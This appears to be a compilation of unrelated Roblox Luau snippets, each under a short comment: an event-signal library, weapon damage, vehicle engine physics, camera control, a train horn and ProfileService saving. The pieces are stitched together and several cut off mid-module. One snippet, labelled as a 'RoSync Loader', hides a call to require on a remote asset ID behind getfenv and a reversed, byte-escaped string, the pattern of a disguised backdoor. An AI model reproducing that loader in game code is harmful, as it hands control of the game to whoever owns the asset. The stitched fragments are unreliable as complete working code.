function ScriptSignal:Connect(listener, disconnect_listener, disconnect_param) --> [ScriptConnection]
if type(listener) ~= "function" then
error("[MadworkScriptSignal]: Only functions can be passed to ScriptSignal:Connect()")
end
local tail_listener = self._tail_listener
if tail_listener == nil then
self._head_listener = listener
self._tail_listener = listener
self._listener_count += 1
elseif tail_listener ~= listener and self._listeners_next[listener] == nil then -- Prevent connecting the same listener more than once
self._listeners_next[tail_listener] = listener
self._listeners_back[listener] = tail_listener
self._tail_listener = listener
self._listener_count += 1
end
return {
_listener = listener,
_script_signal = self,
_disconnect_listener = disconnect_listener,
_disconnect_param = disconnect_param,
Disconnect = ScriptConnection.Disconnect
}
end
function ScriptSignal:GetListenerCount()
return self._listener_count
end
function ScriptSignal:Fire(...)
local fire_pointer_stack = self._fire_pointer_stack
local stack_id = self._stack_count + 1
self._stack_count = stack_id
local listeners_next = self._listeners_next
fire_pointer_stack[stack_id] = self._head_listener
while true do
local pointer = fire_pointer_stack[stack_id]
fire_pointer_stack[stack_id] = listeners_next[pointer]
if pointer ~= nil then
coroutine.wrap(pointer)(...)
else
break
end
end
self._stack_count -= 1
end
function ScriptSignal:FireUntil(continue_callback, ...)
local fire_pointer_stack = self._fire_pointer_stack
local stack_id = self._stack_count + 1
self._stack_count = stack_id
local listeners_next = self._listeners_next
fire_pointer_stack[stack_id] = self._head_listener
while true do
local pointer = fire_pointer_stack[stack_id]
fire_pointer_stack[stack_id] = listeners_next[pointer]
if pointer ~= nil then
coroutine.wrap(pointer)(...)
if continue_callback() ~= true then
fire_pointer_stack[stack_id] = nil
break
end
else
break
end
end
self._stack_count -= 1
end
function MadworkScriptSignal.NewScriptSignal() --> [ScriptSignal]
return {
_fire_pointer_stack = {},
_stack_count = 0,
_listener_count = 0,
_listeners_next = {},
_listeners_back = {},
_head_listener = nil,
_tail_listener = nil,
Connect = ScriptSignal.Connect,
GetListenerCount = ScriptSignal.GetListenerCount,
Fire = ScriptSignal.Fire,
FireUntil = ScriptSignal.FireUntil,
}
end
local RunService = game:GetService("RunService")
local Heartbeat = RunService.Heartbeat
Madwork = {
NewScriptSignal = MadworkScriptSignal.NewScriptSignal,
HeartbeatWait = function(wait_time) --> time_elapsed
if wait_time == nil or wait_time == 0 then
return Heartbeat:Wait()
else
local time_elapsed = 0
while time_elapsed <= wait_time do
local time_waited = Heartbeat:Wait()
time_elapsed = time_elapsed + time_waited
end
return time_elapsed
end
end,
ConnectToOnClose = function(task, run_in_studio_mode)
if game:GetService("RunService"):IsStudio() == false or run_in_studio_mode == true then
game:BindToClose(task)
end
end,
}
end
|
-- / Functions / --
|
ShootModule.ActivateModule = function(StartPosition, HitPosition, EnemyHumanoid, Damage)
local BulletNode = Instance.new("Part")
BulletNode.Transparency = 1
BulletNode.CanCollide = false
BulletNode.Anchored = true
BulletNode.CanTouch = false
BulletNode.CanQuery = false
local StartNode = BulletNode:Clone()
StartNode.Parent = game.Workspace
StartNode.Position = StartPosition
local EndNode = BulletNode:Clone()
EndNode.Parent = game.Workspace
EndNode.Position = HitPosition
local A0 = Instance.new("Attachment")
A0.Parent = StartNode
local A1 = Instance.new("Attachment")
A1.Parent = EndNode
local BulletTrail = GunAssets:WaitForChild("BulletTrail"):Clone()
BulletTrail.Parent = Gun
BulletTrail.Attachment0 = A0
BulletTrail.Attachment1 = A1
Debris:AddItem(StartNode, 0.1)
Debris:AddItem(EndNode, 0.1)
Debris:AddItem(A0, 0.1)
Debris:AddItem(A1, 0.1)
Debris:AddItem(BulletTrail, 0.1)
if EnemyHumanoid then
EnemyHumanoid:TakeDamage(Damage)
end
end
|
--[[Engine]]
|
local fFD = _Tune.FinalDrive*_Tune.FDMult
local fFDr = fFD*30/math.pi
local cGrav = workspace.Gravity*_Tune.InclineComp/32.2
local wDRatio = wDia*math.pi/60
local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0)
local cfYRot = CFrame.Angles(0,math.pi,0)
local rtTwo = (2^.5)/2
--Horsepower Curve
local fgc_h=_Tune.Horsepower/100
local fgc_n=_Tune.PeakRPM/1000
local fgc_a=_Tune.PeakSharpness
local fgc_c=_Tune.CurveMult
function FGC(x)
x=x/1000
return (((-(x-fgc_n)^2)*math.min(fgc_h/(fgc_n^2),fgc_c^(fgc_n/fgc_h)))+fgc_h)*(x-((x^fgc_a)/((fgc_a*fgc_n)^(fgc_a-1))))
end
local PeakFGC = FGC(_Tune.PeakRPM)
--Plot Current Horsepower
function GetCurve(x,gear)
local hp=math.max((FGC(x)*_Tune.Horsepower)/PeakFGC,0)
return hp,hp*(_Tune.EqPoint/x)*_Tune.Ratios[gear+2]*fFD*hpScaling
end
--Output Cache
local CacheTorque = true
local HPCache = {}
local HPInc = 100
if CacheTorque then
for gear,ratio in pairs(_Tune.Ratios) do
local hpPlot = {}
for rpm = math.floor(_Tune.IdleRPM/HPInc),math.ceil((_Tune.Redline+100)/HPInc) do
local tqPlot = {}
tqPlot.Horsepower,tqPlot.Torque = GetCurve(rpm*HPInc,gear-2)
hp1,tq1 = GetCurve((rpm+1)*HPInc,gear-2)
tqPlot.HpSlope = (hp1 - tqPlot.Horsepower)/(HPInc/1000)
tqPlot.TqSlope = (tq1 - tqPlot.Torque)/(HPInc/1000)
hpPlot[rpm] = tqPlot
end
table.insert(HPCache,hpPlot)
end
end
--Powertrain
--Update RPM
function RPM()
--Neutral Gear
if _CGear==0 then _ClutchOn = false end
--Car Is Off
local revMin = _Tune.IdleRPM
if not _IsOn then
revMin = 0
_CGear = 0
_ClutchOn = false
_GThrot = _Tune.IdleThrottle/100
end
--launch control
if math.floor(script.Parent.Values.Velocity.Value.Magnitude) == 0 and _GThrot == 1 and _GBrake == 1 and _IsOn == true and _CGear > 0 then
if _GThrot == 1 and _GBrake == 1 then
if LaunchBuild < _Tune.LaunchBuildup then
LaunchBuild = LaunchBuild + 50
end
_RPM = LaunchBuild
else
if LaunchBuild > _Tune.IdleRPM then
LaunchBuild = LaunchBuild - 50
end
_RPM = LaunchBuild
end
return
else
if LaunchBuild > _Tune.IdleRPM then
LaunchBuild = LaunchBuild - 50
end
end
--Determine RPM
local maxSpin=0
for i,v in pairs(Drive) do
if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end
end
if _ClutchOn then
local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin)
local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9)
_RPM = _RPM*clutchP + aRPM*(1-clutchP)
else
if _GThrot-(_Tune.IdleThrottle/100)>0 then
if _RPM>_Tune.Redline then
_RPM = _RPM-_Tune.RevBounce*2*(LaunchBuild/_Tune.IdleRPM)
else
_RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100)
end
else
_RPM = math.max(_RPM-_Tune.RevDecay,revMin)
end
end
--Rev Limiter
_spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2])
if _RPM>_Tune.Redline then
if _CGear<#_Tune.Ratios-2 then
_RPM = _RPM-_Tune.RevBounce
else
_RPM = _RPM-_Tune.RevBounce*.5
end
end
end
--Apply Power
function Engine()
local IsOnMult = _IsOn == true and 1 or 0
--Get Torque
local maxSpin=0
for i,v in pairs(Drive) do
if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end
end
if _ClutchOn then
if CacheTorque then
local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/HPInc)]
_HP = cTq.Horsepower+(cTq.HpSlope*(_RPM-math.floor(_RPM/HPInc))/1000)
_OutTorque = cTq.Torque+(cTq.TqSlope*(_RPM-math.floor(_RPM/HPInc))/1000)*LaunchBuild/_Tune.IdleRPM
else
_HP,_OutTorque = GetCurve(_RPM,_CGear)
end
local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav
if _CGear==-1 then iComp=-iComp end
_OutTorque = _OutTorque*math.max(1,(1+iComp))*(LaunchBuild/_Tune.IdleRPM)
else
_HP,_OutTorque = 0,0
end
--Automatic Transmission
if _TMode == "Auto" and _IsOn then
_ClutchOn = true
if _CGear >= 1 then
if _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 5 then
_CGear = 1
else
if _Tune.AutoShiftMode == "RPM" then
if DM.Value == "Sport" or DM.Value == "SportPlus" or DM.Value == "Sport++" then
if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then
_CGear=math.max(_CGear-1,1)
end
elseif DM.Value == "Comfort" then
if _RPM>(ComfShift+_Tune.AutoUpThresh) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(ComfShift-_Tune.AutoDownThresh) then
_CGear=math.max(_CGear-1,1)
end
end
else
if DM.Value == "Sport" or DM.Value == "SportPlus" or DM.Value == "Sport++" then
if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then
_CGear=math.max(_CGear-1,1)
end
elseif DM.Value == "Comfort" then
if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(ComfShift+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(ComfShift-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then
_CGear=math.max(_CGear-1,1)
end
end
end
end
end
end
local tqTCS = 1
--Average Rotational Speed Calculation
local fwspeed=0
local fwcount=0
local rwspeed=0
local rwcount=0
for i,v in pairs(car.Wheels:GetChildren()) do
if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then
fwspeed=fwspeed+v.RotVelocity.Magnitude
fwcount=fwcount+1
elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then
rwspeed=rwspeed+v.RotVelocity.Magnitude
rwcount=rwcount+1
end
end
fwspeed=fwspeed/fwcount
rwspeed=rwspeed/rwcount
local cwspeed=(fwspeed+rwspeed)/2
--Update Wheels
for i,v in pairs(car.Wheels:GetChildren()) do
--Reference Wheel Orientation
local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector
local aRef=1
local diffMult=1
if v.Name=="FL" or v.Name=="RL" then aRef=-1 end
--Differential/Torque-Vectoring
if v.Name=="FL" or v.Name=="FR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
elseif v.Name=="RL" or v.Name=="RR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
end
_TCSActive = false
_ABSActive = false
--Output
if _PBrake and (v.Name=="RR" or v.Name=="RL") then
--PBrake
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce
v["#AV"].angularvelocity=Vector3.new()
else
--Apply Power
if _GBrake==0 then
local driven = false
for _,a in pairs(Drive) do if a==v then driven = true end end
if driven then
local on=1
if not script.Parent.IsOn.Value then on=0 end
local clutch=1
if not _ClutchOn then clutch=0 end
local throt = _GThrot * _GThrotShift
local tq = _OutTorque
--Apply AWD Vectoring
if _Tune.Config == "AWD" then
local bias = (_Tune.TorqueVector+1)/2
if v.Name=="FL" or v.Name=="FR" then
tq = tq*(1-bias)
elseif v.Name=="RL" or v.Name=="RR" then
tq = tq*bias
end
end
--Apply TCS
tqTCS = 1
if _TCS then
tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))
end
if tqTCS < 1 then
_TCSAmt = tqTCS
_TCSActive = true
end
--Update Forces
local dir=1
if _CGear==-1 then dir = -1 end
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*tq*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on*clutch
v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir
else
v["#AV"].maxTorque=Vector3.new()
v["#AV"].angularvelocity=Vector3.new()
end
--Brakes
else
local brake = _GBrake
--Apply ABS
local tqABS = 1
if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then
tqABS = 0
end
_ABSActive = (tqABS<1)
--Update Forces
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS
else
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS
end
v["#AV"].angularvelocity=Vector3.new()
end
end
end
end
|
-- Map voting settings
|
local availableMaps = {
"Dead Town",
"Test Map"
}
local mapVotes = {} -- Table to store the vote counts for each map
|
-- Holds the game tree converted to a list.
|
local TreeList = {}
|
-- PROPERTIES
|
IconController.topbarEnabled = true
IconController.controllerModeEnabled = false
IconController.previousTopbarEnabled = checkTopbarEnabled()
IconController.leftGap = 12
IconController.midGap = 12
IconController.rightGap = 12
IconController.leftOffset = 0
IconController.rightOffset = 0
IconController.mimicCoreGui = true
IconController.healthbarDisabled = false
|
-- Movement mode standardized to Enum.ComputerCameraMovementMode values
|
function ClassicCamera:SetCameraMovementMode(cameraMovementMode)
BaseCamera.SetCameraMovementMode(self, cameraMovementMode)
self.isFollowCamera = cameraMovementMode == Enum.ComputerCameraMovementMode.Follow
self.isCameraToggle = cameraMovementMode == Enum.ComputerCameraMovementMode.CameraToggle
end
function ClassicCamera:Update()
local now = tick()
local timeDelta = now - self.lastUpdate
local camera = workspace.CurrentCamera
local newCameraCFrame = camera.CFrame
local newCameraFocus = camera.Focus
local overrideCameraLookVector = nil
if self.resetCameraAngle then
local rootPart = self:GetHumanoidRootPart()
if rootPart then
overrideCameraLookVector = (rootPart.CFrame * INITIAL_CAMERA_ANGLE).lookVector
else
overrideCameraLookVector = INITIAL_CAMERA_ANGLE.lookVector
end
self.resetCameraAngle = false
end
local player = PlayersService.LocalPlayer
local humanoid = self:GetHumanoid()
local cameraSubject = camera.CameraSubject
local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat')
local isOnASkateboard = cameraSubject and cameraSubject:IsA('SkateboardPlatform')
local isClimbing = humanoid and humanoid:GetState() == Enum.HumanoidStateType.Climbing
if self.lastUpdate == nil or timeDelta > 1 then
self.lastCameraTransform = nil
end
if self.lastUpdate then
local gamepadRotation = self:UpdateGamepad()
if self:ShouldUseVRRotation() then
self.rotateInput = self.rotateInput + self:GetVRRotationInput()
else
-- Cap out the delta to 0.1 so we don't get some crazy things when we re-resume from
local delta = math.min(0.1, timeDelta)
if gamepadRotation ~= ZERO_VECTOR2 then
self.rotateInput = self.rotateInput + (gamepadRotation * delta)
end
local angle = 0
if not (isInVehicle or isOnASkateboard) then
angle = angle + (self.turningLeft and -120 or 0)
angle = angle + (self.turningRight and 120 or 0)
end
if angle ~= 0 then
self.rotateInput = self.rotateInput + Vector2.new(math.rad(angle * delta), 0)
end
end
end
local cameraHeight = self:GetCameraHeight()
-- Reset tween speed if user is panning
if self.userPanningTheCamera then
tweenSpeed = 0
self.lastUserPanCamera = tick()
end
local userRecentlyPannedCamera = now - self.lastUserPanCamera < TIME_BEFORE_AUTO_ROTATE
local subjectPosition = self:GetSubjectPosition()
if subjectPosition and player and camera then
local zoom = self:GetCameraToSubjectDistance()
if zoom < 0.5 then
zoom = 0.5
end
if self:GetIsMouseLocked() and not self:IsInFirstPerson() then
-- We need to use the right vector of the camera after rotation, not before
local newLookCFrame = self:CalculateNewLookCFrame(overrideCameraLookVector)
local offset = self:GetMouseLockOffset()
local cameraRelativeOffset = offset.X * newLookCFrame.rightVector + offset.Y * newLookCFrame.upVector + offset.Z * newLookCFrame.lookVector
--offset can be NAN, NAN, NAN if newLookVector has only y component
if Util.IsFiniteVector3(cameraRelativeOffset) then
subjectPosition = subjectPosition + cameraRelativeOffset
end
else
if not self.userPanningTheCamera and self.lastCameraTransform then
local isInFirstPerson = self:IsInFirstPerson()
if (isInVehicle or isOnASkateboard or (self.isFollowCamera and isClimbing)) and self.lastUpdate and humanoid and humanoid.Torso then
if isInFirstPerson then
if self.lastSubjectCFrame and (isInVehicle or isOnASkateboard) and cameraSubject:IsA('BasePart') then
local y = -Util.GetAngleBetweenXZVectors(self.lastSubjectCFrame.lookVector, cameraSubject.CFrame.lookVector)
if Util.IsFinite(y) then
self.rotateInput = self.rotateInput + Vector2.new(y, 0)
end
tweenSpeed = 0
end
elseif not userRecentlyPannedCamera then
local forwardVector = humanoid.Torso.CFrame.lookVector
if isOnASkateboard then
forwardVector = cameraSubject.CFrame.lookVector
end
tweenSpeed = math.clamp(tweenSpeed + tweenAcceleration * timeDelta, 0, tweenMaxSpeed)
local percent = math.clamp(tweenSpeed * timeDelta, 0, 1)
if self:IsInFirstPerson() and not (self.isFollowCamera and self.isClimbing) then
percent = 1
end
local y = Util.GetAngleBetweenXZVectors(forwardVector, self:GetCameraLookVector())
if Util.IsFinite(y) and math.abs(y) > 0.0001 then
self.rotateInput = self.rotateInput + Vector2.new(y * percent, 0)
end
end
elseif self.isFollowCamera and (not (isInFirstPerson or userRecentlyPannedCamera) and not VRService.VREnabled) then
-- Logic that was unique to the old FollowCamera module
local lastVec = -(self.lastCameraTransform.p - subjectPosition)
local y = Util.GetAngleBetweenXZVectors(lastVec, self:GetCameraLookVector())
-- This cutoff is to decide if the humanoid's angle of movement,
-- relative to the camera's look vector, is enough that
-- we want the camera to be following them. The point is to provide
-- a sizable dead zone to allow more precise forward movements.
local thetaCutoff = 0.4
-- Check for NaNs
if Util.IsFinite(y) and math.abs(y) > 0.0001 and math.abs(y) > thetaCutoff * timeDelta then
self.rotateInput = self.rotateInput + Vector2.new(y, 0)
end
end
end
end
if not self.isFollowCamera then
local VREnabled = VRService.VREnabled
if VREnabled then
newCameraFocus = self:GetVRFocus(subjectPosition, timeDelta)
else
newCameraFocus = CFrame.new(subjectPosition)
end
local cameraFocusP = newCameraFocus.p
if VREnabled and not self:IsInFirstPerson() then
local vecToSubject = (subjectPosition - camera.CFrame.p)
local distToSubject = vecToSubject.magnitude
-- Only move the camera if it exceeded a maximum distance to the subject in VR
if distToSubject > zoom or self.rotateInput.x ~= 0 then
local desiredDist = math.min(distToSubject, zoom)
vecToSubject = self:CalculateNewLookVectorVR() * desiredDist
local newPos = cameraFocusP - vecToSubject
local desiredLookDir = camera.CFrame.lookVector
if self.rotateInput.x ~= 0 then
desiredLookDir = vecToSubject
end
local lookAt = Vector3.new(newPos.x + desiredLookDir.x, newPos.y, newPos.z + desiredLookDir.z)
self.rotateInput = ZERO_VECTOR2
newCameraCFrame = CFrame.new(newPos, lookAt) + Vector3.new(0, cameraHeight, 0)
end
else
local newLookVector = self:CalculateNewLookVector(overrideCameraLookVector)
self.rotateInput = ZERO_VECTOR2
newCameraCFrame = CFrame.new(cameraFocusP - (zoom * newLookVector), cameraFocusP)
end
else -- is FollowCamera
local newLookVector = self:CalculateNewLookVector(overrideCameraLookVector)
self.rotateInput = ZERO_VECTOR2
if VRService.VREnabled then
newCameraFocus = self:GetVRFocus(subjectPosition, timeDelta)
else
newCameraFocus = CFrame.new(subjectPosition)
end
newCameraCFrame = CFrame.new(newCameraFocus.p - (zoom * newLookVector), newCameraFocus.p) + Vector3.new(0, cameraHeight, 0)
end
if FFlagUserCameraToggle then
local toggleOffset = self:GetCameraToggleOffset(timeDelta)
newCameraFocus = newCameraFocus + toggleOffset
newCameraCFrame = newCameraCFrame + toggleOffset
end
self.lastCameraTransform = newCameraCFrame
self.lastCameraFocus = newCameraFocus
if (isInVehicle or isOnASkateboard) and cameraSubject:IsA('BasePart') then
self.lastSubjectCFrame = cameraSubject.CFrame
else
self.lastSubjectCFrame = nil
end
end
self.lastUpdate = now
return newCameraCFrame, newCameraFocus
end
function ClassicCamera:EnterFirstPerson()
self.inFirstPerson = true
self:UpdateMouseBehavior()
end
function ClassicCamera:LeaveFirstPerson()
self.inFirstPerson = false
self:UpdateMouseBehavior()
end
return ClassicCamera
|
--Horn Sound Code, Metrotren
|
m1=script.Parent.StartHorn
m2=script.Parent.HornSound
m3=script.Parent.EndHorn
m1:Stop() --Initial setup
m2:Stop()
m3:Stop()
m1.Volume = 0
m2.Volume = 0
m3.Volume = 0
m2.Looped = false
m2.Playing = false
script.Parent.Parent:WaitForChild("Drive").Locotrol.Event:connect(function(data)
if data["Horn"] == true then
m2.Volume = 0
m2.Looped = false
m2:Stop()
m2.Playing = true
m3.Volume = 0
m3:stop()
m1.Volume = 5
m1:Play()
--wait(m1.TimeLength) --disabled because it makes looping part stuck playing if stopped too soon.
if m1.TimePosition < m1.TimeLength then
m2.Looped = true
m2.Volume = 5
m2:Play()
else
m1.Volume = 0
m1:Stop()
end
elseif data["Horn"] == false then
m1.Volume = 0
m1:Stop()
--For 3 part option
m2.Volume = 0
m2:Stop()
m2.Looped = false
m2.Playing = false
m3.Volume = 5
m3:Play()
--[[ -- For 2 part option
if m2.IsPlaying == true then
for i=1, 0, -.1 do
m2.Volume = i*1
wait(.1)
end
end
m2.Volume = 0
m2.Looped = false
m2.Playing = false
m2:Stop()
--]]
end
end)
|
--[[
Given a [AssetType], this function will match it to its equivalent
[AccessoryType].
```lua
matchAssetTypeToAccessoryType(Enum.AssetType.FaceAccessory) -- Enum.AccessoryType.Face
matchAssetTypeToAccessoryType(Enum.AssetType.Hat) -- Enum.AccessoryType.Hat
matchAssetTypeToAccessoryType(Enum.AssetType.WaistAccessory) -- Enum.AccessoryType.Waist
```
This function is called when we'd like to convert a given Enum.AssetType into its corresponding Enum.AccessoryType.
@within Modules
@return Enum.AccessoryType The AccessoryType that matches `assetType`, otherwise returns [Enum.AccessoryType.Unknown].
]]
|
local function matchAssetTypeToAccessoryType(assetType: Enum.AssetType): Enum.AccessoryType
if not assetType or not assetType.Name then
return Enum.AccessoryType.Unknown
end
for _, accessoryType in ipairs(Enum.AccessoryType:GetEnumItems()) do
if string.gsub(assetType.Name, "Accessory", "") == accessoryType.Name then
return accessoryType
end
end
return Enum.AccessoryType.Unknown
end
return matchAssetTypeToAccessoryType
|
-- The set where used dependencies should be saved to.
|
local dependencySet: Set<PubTypes.Dependency>? = nil
|
-- Register explorer pane toggling hotkeys
|
AssignHotkey({ 'LeftShift', 'H' }, ToggleExplorer)
AssignHotkey({ 'RightShift', 'H' }, ToggleExplorer)
|
-- Event Bindings
|
DisplayIntermission.OnClientEvent:connect(OnDisplayIntermission)
FetchConfiguration.OnClientEvent:connect(OnFetchConfiguration)
ScreenGui.ScoreFrame["Bright blue"].Visible = false
ScreenGui.ScoreFrame["Bright red"].Visible = false
|
--[[ Last synced 12/11/2020 06:20 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
--[[
update_settings = {
ExistingProfileHandle = function(latest_data),
MissingProfileHandle = function(latest_data),
EditProfile = function(lastest_data),
WipeProfile = nil / true,
}
--]]
|
local function StandardProfileUpdateAsyncDataStore(profile_store, profile_key, update_settings, is_user_mock)
local loaded_data
local wipe_status = false
local success, error_message = pcall(function()
if update_settings.WipeProfile ~= true then
local transform_function = function(latest_data)
if latest_data == "PROFILE_WIPED" then
latest_data = nil -- Profile was previously wiped - ProfileService will act like it was empty
end
local missing_profile = false
local data_corrupted = false
local global_updates_data = {0, {}}
if latest_data == nil then
missing_profile = true
elseif type(latest_data) ~= "table" then
missing_profile = true
data_corrupted = true
end
if type(latest_data) == "table" then
-- Case #1: Profile was loaded
if type(latest_data.Data) == "table" and
type(latest_data.MetaData) == "table" and
type(latest_data.GlobalUpdates) == "table" then
latest_data.WasCorrupted = false -- Must be set to false if set previously
global_updates_data = latest_data.GlobalUpdates
if update_settings.ExistingProfileHandle ~= nil then
update_settings.ExistingProfileHandle(latest_data)
end
-- Case #2: Profile was not loaded but GlobalUpdate data exists
elseif latest_data.Data == nil and
latest_data.MetaData == nil and
type(latest_data.GlobalUpdates) == "table" then
latest_data.WasCorrupted = false -- Must be set to false if set previously
global_updates_data = latest_data.GlobalUpdates
missing_profile = true
else
missing_profile = true
data_corrupted = true
end
end
-- Case #3: Profile was not created or corrupted and no GlobalUpdate data exists
if missing_profile == true then
latest_data = {
-- Data = nil,
-- MetaData = nil,
GlobalUpdates = global_updates_data,
}
if update_settings.MissingProfileHandle ~= nil then
update_settings.MissingProfileHandle(latest_data)
end
end
-- Editing profile:
if update_settings.EditProfile ~= nil then
update_settings.EditProfile(latest_data)
end
-- Data corruption handling (Silently override with empty profile) (Also run Case #1)
if data_corrupted == true then
latest_data.WasCorrupted = true -- Temporary tag that will be removed on first save
end
return latest_data
end
if is_user_mock == true then -- Used when the profile is accessed through ProfileStore.Mock
loaded_data = MockUpdateAsync(UserMockDataStore, profile_store._profile_store_lookup, profile_key, transform_function)
Madwork.HeartbeatWait() -- Simulate API call yield
elseif UseMockDataStore == true then -- Used when API access is disabled
loaded_data = MockUpdateAsync(MockDataStore, profile_store._profile_store_lookup, profile_key, transform_function)
Madwork.HeartbeatWait() -- Simulate API call yield
else
loaded_data = CustomWriteQueueAsync(
function() -- Callback
return profile_store._global_data_store:UpdateAsync(profile_key, transform_function)
end,
profile_store._profile_store_lookup, -- Store
profile_key -- Key
)
end
else
if is_user_mock == true then -- Used when the profile is accessed through ProfileStore.Mock
local mock_data_store = UserMockDataStore[profile_store._profile_store_lookup]
if mock_data_store ~= nil then
mock_data_store[profile_key] = nil
end
wipe_status = true
Madwork.HeartbeatWait() -- Simulate API call yield
elseif UseMockDataStore == true then -- Used when API access is disabled
local mock_data_store = MockDataStore[profile_store._profile_store_lookup]
if mock_data_store ~= nil then
mock_data_store[profile_key] = nil
end
wipe_status = true
Madwork.HeartbeatWait() -- Simulate API call yield
else
loaded_data = profile_store._global_data_store:UpdateAsync(profile_key, function()
return "PROFILE_WIPED" -- It's impossible to set DataStore keys to nil after they have been set
end)
if loaded_data == "PROFILE_WIPED" then
wipe_status = true
end
end
end
end)
if update_settings.WipeProfile == true then
return wipe_status
elseif success == true and type(loaded_data) == "table" then
-- Corruption handling:
if loaded_data.WasCorrupted == true then
RegisterCorruption(
profile_store._profile_store_name,
profile_store._profile_store_scope,
profile_key
)
end
-- Return loaded_data:
return loaded_data
else
RegisterIssue(
(error_message ~= nil) and error_message or "Undefined error",
profile_store._profile_store_name,
profile_store._profile_store_scope,
profile_key
)
-- Return nothing:
return nil
end
end
local function RemoveProfileFromAutoSave(profile)
local auto_save_index = table.find(AutoSaveList, profile)
if auto_save_index ~= nil then
table.remove(AutoSaveList, auto_save_index)
if auto_save_index < AutoSaveIndex then
AutoSaveIndex = AutoSaveIndex - 1 -- Table contents were moved left before AutoSaveIndex so move AutoSaveIndex left as well
end
if AutoSaveList[AutoSaveIndex] == nil then -- AutoSaveIndex was at the end of the AutoSaveList - reset to 1
AutoSaveIndex = 1
end
end
end
local function AddProfileToAutoSave(profile) -- Notice: Makes sure this profile isn't auto-saved too soon
-- Add at AutoSaveIndex and move AutoSaveIndex right:
table.insert(AutoSaveList, AutoSaveIndex, profile)
if #AutoSaveList > 1 then
AutoSaveIndex = AutoSaveIndex + 1
elseif #AutoSaveList == 1 then
-- First profile created - make sure it doesn't get immediately auto saved:
LastAutoSave = os.clock()
end
end
local function ReleaseProfileInternally(profile)
-- 1) Remove profile object from ProfileService references: --
-- Clear reference in ProfileStore:
local profile_store = profile._profile_store
local loaded_profiles = profile._is_user_mock == true and profile_store._mock_loaded_profiles or profile_store._loaded_profiles
loaded_profiles[profile._profile_key] = nil
if next(profile_store._loaded_profiles) == nil and next(profile_store._mock_loaded_profiles) == nil then -- ProfileStore has turned inactive
local index = table.find(ActiveProfileStores, profile_store)
if index ~= nil then
table.remove(ActiveProfileStores, index)
end
end
-- Clear auto update reference:
RemoveProfileFromAutoSave(profile)
-- 2) Trigger release listeners: --
local place_id
local game_job_id
local active_session = profile.MetaData.ActiveSession
if active_session ~= nil then
place_id = active_session[1]
game_job_id = active_session[2]
end
profile._release_listeners:Fire(place_id, game_job_id)
end
local function CheckForNewGlobalUpdates(profile, old_global_updates_data, new_global_updates_data)
